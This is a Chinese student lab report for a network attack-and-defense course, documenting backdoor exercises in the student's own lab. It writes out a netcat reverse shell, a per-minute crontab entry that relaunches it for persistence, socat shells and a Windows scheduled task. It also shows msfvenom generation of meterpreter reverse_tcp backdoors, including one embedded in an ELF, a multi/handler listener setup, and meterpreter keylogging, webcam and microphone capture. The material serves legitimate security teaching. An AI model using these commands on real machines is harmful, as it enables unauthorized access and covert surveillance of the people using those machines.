20232307 2025-2026-1 《网络与系统攻防技术》实验二实验报告

news/2025/10/22 19:31:33/文章来源:https://www.cnblogs.com/20232307MY/p/19152080

20232307 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1. 实验内容

相关知识:后门就是不经过正常认证流程而访问系统的通道。后门类型:编译器留后门、操作系统留后门、应用程序中留后门、还有潜伏于操作系统中或伪装为特定应用的专用后门程序。

回答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?
向目标系统发送钓鱼邮件并携带恶意附件;利用社会工程学攻击,利用人的好奇心,通过含有后门文件的U盘进行传输;在非正规的网站下载文件等

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows系统:
    ①注册表启动:通过修改注册表中核心启动路径,将后门程序路径添加为开机自启项
    ②任务计划程序:在Windows任务计划程序中创建定时任务,指定在特定时间或事件触发时执行恶意程序。
    ③进程注入:利用CreateRemoteThread等API将后门代码注入到正常进程中,通过合法进程的外壳隐藏启动行为。

  • Linux系统:
    cron 定时任务:编辑当前用户的crontab或系统级的cron目录,添加定时任务,以便在每次重启时执行后门。

(3)Meterpreter有哪些给你印象深刻的功能?
可以连接主机,获得主机的音频、摄像头、截屏、键盘输入内容等权限,还可以提高权限。
键盘输入:可以获取用户在键盘上敲击的内容
摄像头:获得摄像头权限可以直接拍照

(4)如何发现自己有系统有没有被安装后门?
可以通过任务管理器查看是否有异常进程
检查注册表启动项、任务计划程序中的定时任务,Linux中查看crontab定时任务列表
使用安全工具扫描,例如杀毒软件和Rootkit检测工具

2. 实验要求

(1)使用netcat获取主机操作Shell,cron启动某项任务
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

3. 实验过程与分析

3.1 实验准备

在实验开始前,关闭主机防火墙与病毒防护
image

关闭病毒威胁防护:
image

3.2 使用netcat获取主机操作Shell,cron启动定时任务

3.2.1 环境准备

下载netcat1.12,下载链接
安装教程

下载安装完成后查看本机和虚拟机的ip地址(此处我发现连接校园网时本机和虚拟机不在同一个网段,换成连接手机热点后处在同一网段)

windows ip:192.168.43.246

image

kali ip:192.168.190.133

image

3.2.2 监听虚拟机

在windows主机上,打开命令提示符,使用命令:

nc -l -p 2307

启动监听模式,即让nc作为服务器端,等待其他主机的连接。
-p用于指定监听的端口号,这里使用学号2307作为监听的端口号。

image

在kali虚拟机中使用命令

nc 192.168.43.246 2307 -e /bin/sh

执行该命令后,本地主机会主动向192.168.43.246的2307端口发起 TCP 连接。

image

连接成功后,主机即可获得虚拟机的shell
20268e428ade66e4078cc3e74fe60d18

3.2.3 启动定时任务

cron服务:是系统守护进程,开机后自动启动并一直在后台运行,持续检测用户设定的任务调度时间,当到达设定时间点时,就触发执行对应的任务。
crontab:是cron的配置文件管理工具。用户通过crontab命令来管理自己的定时任务配置文件,每个用户都可以有自己独立的crontab文件,记录着该用户需要定时执行的任务。

虚拟机中执行命令

crontab -e

打开编辑器后选择2:user/bin/vim.basic(此处我第一次选择错了,所以使用了select-editor命令重新选择了一下)
ca678c9e856d9534f97f86599573487b
打开一个编辑界面,在这个界面中,用户可以添加、修改或删除定时任务。
在cron表的末尾添加:

*****/bin/nc 192.168.43.246 2307 -e /bin/sh

image

这条crontab配置会让系统每分钟自动执行一次反向Shell命令,持续尝试向192.168.43.246:2307发起连接。只要攻击者在目标IP和端口上通过nc -l -p 2307监听,就能获取本地主机的Shell权限。
通过命令crontab -l,查看进程表的情况

18a08ea24e22cf3490aba1af492dbeb1
修改成功!

验证cron任务
在虚拟机中通过路径:/var/spool/cron/crontabs,找到crontab文件夹使用root身份打开
37914bca1befbc34f85b3a8264e8e820

crontab文件夹中多了一个root文件,创建定时任务成功!

3.2.4 修改定时任务

在windows主机中输入:

echo "* * * * * echo "20232307" > /home/my/2307_1.txt" > /var/spool/cron/crontabs/root

表示向定时任务文件中写入一条指令,该指令是每分钟执行一次,将“20232307”写入文件中
再通过crontab -l,查看修改内容

efb3874225a0ca8ce813b275b787ba16

一分钟后打开虚拟机,查看指定路径中文件内容
547e16f45df2eefe865a19af9be4713a

3.3 使用socat获取主机的Shell

3.3.1 windows下载socat

下载链接:
在socat所在的文件夹进入cmd,输入指令:

socat tcp-listen:2307 exec:cmd.exe,pty,stderr

socat工具在Windows系统中创建TCP监听端口,此处使用学号2307作为端口号

b8e3334e6ce956775b2bd4a4330a161a
在虚拟机上输入命令:

socat - tcp:192.168.43.246:2307

使用socat连接到windoes主机的2307端口

5ab775d33c0bca71aaffd7898cc066ba

3.3.2 创建定时任务

在windows的CodeBlocks中创建了一个wlgf1019.c文件,文件内容如下图所示:

8b7ecd7d073207151bfcfc0a7bbbc800

在cmd中使用gcc编译,生成exe文件:
image

在虚拟中输入指令:

schtasks /create /scminute /mo 1 /tn "20232307my"/tr"D:\test\wlgf1019.exe

执行该命令后,Windows系统会创建一个名为20232307my的定时任务,实现每隔1分钟,自动运行D:\test\wlgf1019.exe程序

d7f1d4c942605a93b0572970757e60fc

在主机中打开“计算机管理——系统工具——任务计划程序——任务计划程序库”,可以看到20232307my这个程序无限期每隔一分钟执行一次。

b6fe6b685211eb5e8f5b9003344e9b31

3.4 使用MSF meterpreter生成可执行文件,利用socat传送到主机并运行获取主机Shell

这个功能的实现是通过使用MSF在Kali虚拟机上生成一个后门文件,再通过socat传输到windows主机上,使windows主机可以主动连接Kali虚拟机,由此,Kali虚拟机可实现对windows主机的监听,获取到主机的shell

3.4.1 生成后门文件

在虚拟机中输入命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.133 LPORT=2307 -f exe 20232307_backdoor.exe

创建一个名为20232307_backdoor的可执行文件,即后门程序

c5550f0c5fb77e411d2751c70f582ea4

3.4.2 文件传输

由于上一步的实验操作是“使用socat获取主机的Shell”,所以此处我接着使用socat工具来传输文件,此时接续上一步的功能:socat工具已在Windows系统中创建TCP监听端口,端口号为2307,接着,在虚拟机上输入以下命令:

socat -u FILE:20232307_backdoor.exe TcP:192.168.43.246:2307

该命令实现了Kali虚拟机将20232307_backdoor.exe通过端口2307传输到windows主机上

下面在windows主机上查找20232307_backdoor.exe:
b46a1b9b9806b3504906a024e31b6c9e
文件存在,传输成功!

3.4.3 配置监听、获取主机shell

在虚拟机终端打开Metasploit框架,对监听模块进行配置。在打开Metasploit框架框架之前,为避免Meterpreter会话建立后立刻关闭(Dided),最好先更新Metasploit框架及其所有依赖项,确保它们与当前系统的Ruby版本兼容,使用以下命令来更新:

sudo apt update
sudo apt install metasploit-framework

下面来配置监听:

msfconsole
use exploit/multi/handler #等待并处理来自载荷的连接
set payload windows/meterpreter/reverse_tcp  
set LHOST 192.168.190.133  
set LPORT 2307 
exploit #启动监听器

1200e93f108533c1a9c0869789893eb4

image

在windows主机上运行传输过来的后门程序:

d:     //我传输的文件在D盘里面
20232307_backdoor

8c42da38fbe4e2d3c0f40d6afbc6acbc

攻击成功后,Kali获取windows主机的shell,输入命令dir可获得当前目录下的文件与目录
8b8a9836c90b2b10ff769576b1bd9530

3.5 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

3.5.1 获取目标主机的音频、主机、摄像头、键盘输入的信息

record_mic #从目标主机的麦克风录制音频
screenshot #获取目标主机当前屏幕的截图,保存为图片文件
webcam_snap #通过目标主机的摄像头拍摄一张照片
keyscan_start #开始捕获目标主机的键盘输入(键盘记录)
keyscan_dump #导出键盘记录缓存区的内容,将目标机上的按键记录输出在终端

获取音频:
df01c3f637163d2b7ebfbe86c18d538f
可查看到生成的音频文件:
image

获取键盘输入的内容:
ad1f3a229aeddcb15106cf0876620b0e00
从键盘输入:“网络攻防实验二 20232307孟月”
b34fa0a35f305fb8e64fa20309742446

输出我刚刚在键盘上打印的内容:
051b335f32ca36393edce443d79e4d66

命令webcam_snap,使用目标主机摄像头拍摄一张照片
image

3.5.1 尝试提权

在虚拟机中使用getuid命令查看初始的用户名
使用getsystem命令提权

b61b1c76526c548d738abbddd49927b5

提权后查看用户名,发现于初始时的用户名相同。
image

3.6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在虚拟机中使用msfvenom生成恶意负载并将其捆绑到pwn1020文件中。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.190.133 LPORT=1234 -x /home/my/pwn1 -f elf > pwn1020
sudo chmod a+x pwn1020   //赋予可执行权限

image

打开另外一个shell,配置监听

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp 
set LHOST 192.168.190.133
set LPORT 1234

982cffaf97209f02126594125f91dbba

image

在原shell中运行pwn1020文件。
监听成功,在另一个shell中输入dir,即可获得windows主机的D盘内容。
ccef41e43055b39912210ac81d33b268

4. 问题及解决方案

  • 问题一:虚拟机在建立Meterpreter会话后,很快关闭,具体情况如下图所示:
    f68438e7c080f9124c8139c479334636

  • 解决方案:这是由于Ruby版本与Metasploit框架当前版本所依赖的Ruby版本不兼容。在虚拟机中运行sudo apt update && sudo apt install metasploit-framework并下载安装Visual C++,再次打开Meterpreter会话后问题即可解决。

  • 问题二:在实现第5个“使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell”的过程中,两个终端无法成功建立连接。
    51dc42c599338aa365d9cc552052383f

  • 解决方案:应该是命令中的文件路径/home/my/桌面/pwn1中包含中文导致注入失败,更换pwn1文件的路径后注入成功。

5. 学习感悟、思考

本次实验围绕后门技术与攻防展开,让我对网络攻击的底层逻辑有了更直观的理解。从最基础的netcat反向Shell到复杂的Meterpreter功能利用,我逐步理解了后门的原理与注入方式,在攻击主机的过程中获取主机的摄像头权限、音频权限和键盘输入内容等,让我体会到了网络攻防课程的乐趣所在。同时在实验过程中也遇到了一些意料之外的问题,通过仔细分析最终也是解决了,这个过程锻炼了我的问题分析和解决能力,期待网络攻防课程的后续实验!

参考资料

  • 利用netcat进行反弹连接
  • MSF_Metasploit框架基础
  • 后门原理与实践
  • 后门进阶应用Meterprter

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/943666.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Fiddler Script语句整理

请求函数: static function OnBeforeRequest(oSession:Sessiop){}响应函数: staticfunction OnBeforeResponse(oSession:Session){}修改样式语句:if (oSession.host.indexOf("mosoteach.cn") > -1) { …

微服务正在悄然消亡:这是一件美好的事

最近在做的事情正好需要系统地研究微服务与单体架构的取舍与演进。读到这篇文章,许多观点直击痛点、非常启发,于是我顺手把它翻译出来,分享给大家,也希望能给同样在复杂性与效率之间权衡的团队一些参考。 微服务正…

数据库学习篇(持续更新中)

在日常的开发中,常常会因为业务的复杂而编写复杂的数据库脚本。本篇记录博主在实际使用中的各种脚本及函数:人一旦有了梦想,怎么活都是有灵魂的!

Fortinet产品安全漏洞分析:FGFM协议未经认证连接重置漏洞

本文详细分析了Fortinet产品中的FGFM协议安全漏洞(CVE-2024-26008),该漏洞由于异常条件处理不当,允许未经认证的攻击者通过加密TCP请求重置fgfm连接,导致拒绝服务攻击风险。摘要 FortiGuard实验室发现FortiOS、Fort…

fiddler修改请求(修改搜索框的内容)

第一步:在fiddler中,在工具栏中单击“规则”——“自动断点”——“在请求前”,单击“Remove all”,清除干扰项 第二步:在浏览器中搜索“前端”并发送请求,返回fiddler,在左侧“会话列表”中,选择“前端”的数据…

20251022

今日一切正常,抽时间看看javaweb

10月22号

今天进行了离散数学和马克思主义的学习。

Python practice argvparser and config(yaml, json, xml) - ENGINEER

Python practice argvparser and config(yaml, json, xml)Python practice argvparser and config(yaml, json, xml)Time is like a fleeting show!

Yolo11分割模型

C#中部署 Yolo11分割模型存在两个输出分支。这里导出模型使用一个包含两个类别的数据集训练的。output0对应的分支。可以看到其Shape为[1,38,21504]。对于第二维度(38),前4个数据分别表示检测框的cx、cy、w、h。后两…

将“百度”的URL改为“163网易云”(修改URL地址)

第一步:打开fiddler,单击“规则”选项卡——“自动断点”——“在请求前” 第二步:在浏览器的地址栏中输入“baidu.com”并回车,返回fiddler 第三步:在左侧的“会话列表”,“URL地址”栏中找到“www.baidu.com:4…

星旗笔试

1.进程和线程区别 进程是系统进行资源分配和调度的基本单位,线程是 CPU 调度和执行的最小单位。 进程:是程序的一次动态执行过程,是系统进行资源分配和调度的独立单位。每个进程拥有独立的内存空间、文件描述符、寄…

第二次小组作业

第二次小组作业这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/202501SoftwareEngineering这个作业要求在哪里 https://edu.cnblogs.com/campus/fzu/202501SoftwareEngineering/homework/13559这个作业的目…

文学伦理学批评导论——

10.22学习文学伦理学第6周Week 6 伦理与道德的联系和区别 联系 伦生 理成 道化德:伦生理,理成道,道化德 区别 1、联系 2、区别 (1)伦理强调关系;道德强调个体(道德绑架) (2)伦理是双向性的义务;道德是单向性的义务…

智联笔记项目——251022登录注册、后端管理及内容类型处理优化

登录注册、后端管理及内容类型处理优化 在笔记系统的迭代中,基于原有代码,新增了登录注册功能、后端管理模块,并解决了 Markdown 与富文本内容混淆的问题。 本文将详细介绍这些功能的实现思路与代码修改细节,适合记…

JavaScript formatter插件的使用

第一步:在浏览器中发送请求 第二步:在fiddler中,右击“请求内容类型”,在弹出的菜单中单击“Search this column...”,在弹出的对话框中输入“JavaScript”单击“OK” 第三步:在左侧的“会话列表”中找到需要的数…

完整教程:基于WebAssembly的STEP文件3D在线查看器实现详解

完整教程:基于WebAssembly的STEP文件3D在线查看器实现详解pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consol…

20232407 2025-2026-1 《网络与系统攻防技术》 实验二实验报告

1.实验内容实验目标(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使…